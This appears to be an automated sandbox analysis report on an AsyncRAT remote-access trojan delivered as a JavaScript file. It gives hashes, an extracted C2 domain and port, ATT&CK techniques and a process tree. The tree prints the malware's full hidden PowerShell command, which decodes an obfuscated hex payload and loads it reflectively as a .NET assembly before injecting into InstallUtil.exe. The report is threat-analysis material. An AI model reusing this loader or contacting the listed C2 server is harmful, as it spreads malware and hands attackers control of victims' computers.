asyncrat | b38757aa0b8ec7db067a07aacdac1a0fa553f2975bd6ba0c2e4e68697706042a

General

Target

Windows Connection.js
Size

500KB
MD5

b40b62a193d094576ae47a756471e21c
SHA1

95234c51ca91c1274fcb0566e2bdfeef82e87d0c
SHA256

b38757aa0b8ec7db067a07aacdac1a0fa553f2975bd6ba0c2e4e68697706042a
SHA512

0bd272ba17d7c7130cdacaaeb39fa6b45e253b09e2ed0bb2b1f77638227a781067a8db75355815b28b4c2642a4c316d22ee7c82d32a60ac767045a8a28914792
SSDEEP

6144:9HClO5Fr4uLhK4XJoNHV/NJ5GBqXddVPBH2mif/o3mSinBk:94ur4ulCHV/L8stbkginBk

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

Xchallenger | 3Losh

Botnet

Default

C2

finityhomeplat.com:6677

Mutex

52533835-12f7-44eb-b39a-8284a4f2aa84

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
2892	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wscript.exewscript.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	wscript.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description	pid	Process	procid_target
PID 2892 set thread context of 1192	2892	powershell.exe	96

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

InstallUtil.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exeInstallUtil.exe

pid	Process
2892	powershell.exe
2892	powershell.exe
1192	InstallUtil.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeInstallUtil.exe

description	pid	Process
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeDebugPrivilege	1192	InstallUtil.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

InstallUtil.exe

pid	Process
1192	InstallUtil.exe

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

wscript.exewscript.exepowershell.exe

description	pid	Process	procid_target
PID 2860 wrote to memory of 1412	2860	wscript.exe	87
PID 2860 wrote to memory of 1412	2860	wscript.exe	87
PID 2860 wrote to memory of 1744	2860	wscript.exe	88
PID 2860 wrote to memory of 1744	2860	wscript.exe	88
PID 1744 wrote to memory of 2892	1744	wscript.exe	90
PID 1744 wrote to memory of 2892	1744	wscript.exe	90
PID 2892 wrote to memory of 1192	2892	powershell.exe	96
PID 2892 wrote to memory of 1192	2892	powershell.exe	96
PID 2892 wrote to memory of 1192	2892	powershell.exe	96
PID 2892 wrote to memory of 1192	2892	powershell.exe	96
PID 2892 wrote to memory of 1192	2892	powershell.exe	96
PID 2892 wrote to memory of 1192	2892	powershell.exe	96
PID 2892 wrote to memory of 1192	2892	powershell.exe	96
PID 2892 wrote to memory of 1192	2892	powershell.exe	96

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

Processes:

attrib.exe

pid	Process
1412	attrib.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Windows Connection.js"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2860
- C:\Windows\System32\attrib.exe
  "C:\Windows\System32\attrib.exe" +h "C:\Users\Public\Windows Connection.js"
  2⤵
  - Views/modifies file attributes
  PID:1412
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" //B "C:\Users\Public\Windows Connection.js"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1744
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command $first_line = (Get-Content -Path 'C:\Users\Public\Windows Connection.js' | Select-Object -Last 1);$UjNjYY = $first_line -replace '//','' -replace 'Z','00' -replace '!','FF' -replace '@','AA' -replace '#','11' -replace 'X','55' -replace '%','BB';[Byte[]] $eEhmKB = $UjNjYY -split '(..)' | Where-Object { $_ } | ForEach-Object { [byte]([convert]::ToInt32($_, 16)) };$jgyVsU = [System.Reflection.Assembly]::Load($eEhmKB);$xhkCjQ = 'COO13.IN771';$npXcqj = 'SE3';$RKSiaE = $jgyVsU.GetType($xhkCjQ);$YruPOh = $RKSiaE.GetMethod($npXcqj);$GULKjn = $YruPOh.Invoke($null, @());
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2892
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:1192

C:\Windows\system32\wscript.exe
wscript.exe //B "C:\Users\Public\Windows Connection.js"
1⤵
PID:1700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

1

T1564.001

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3f0gxfck.sm2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\Windows Connection.js

Filesize
500KB

MD5
b40b62a193d094576ae47a756471e21c

SHA1
95234c51ca91c1274fcb0566e2bdfeef82e87d0c

SHA256
b38757aa0b8ec7db067a07aacdac1a0fa553f2975bd6ba0c2e4e68697706042a

SHA512
0bd272ba17d7c7130cdacaaeb39fa6b45e253b09e2ed0bb2b1f77638227a781067a8db75355815b28b4c2642a4c316d22ee7c82d32a60ac767045a8a28914792

Download Submit
memory/1192-13-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/1192-16-0x0000000005F90000-0x0000000006534000-memory.dmp

Filesize
5.6MB

Download
memory/1192-17-0x0000000005BC0000-0x0000000005C52000-memory.dmp

Filesize
584KB

Download
memory/1192-18-0x0000000005BB0000-0x0000000005BBA000-memory.dmp

Filesize
40KB

Download
memory/1192-21-0x0000000006D60000-0x0000000006DFC000-memory.dmp

Filesize
624KB

Download
memory/1192-22-0x0000000006E00000-0x0000000006E66000-memory.dmp

Filesize
408KB

Download
memory/2892-7-0x00000241E5250000-0x00000241E5272000-memory.dmp

Filesize
136KB

Download
memory/2892-12-0x00000241E5940000-0x00000241E5988000-memory.dmp

Filesize
288KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads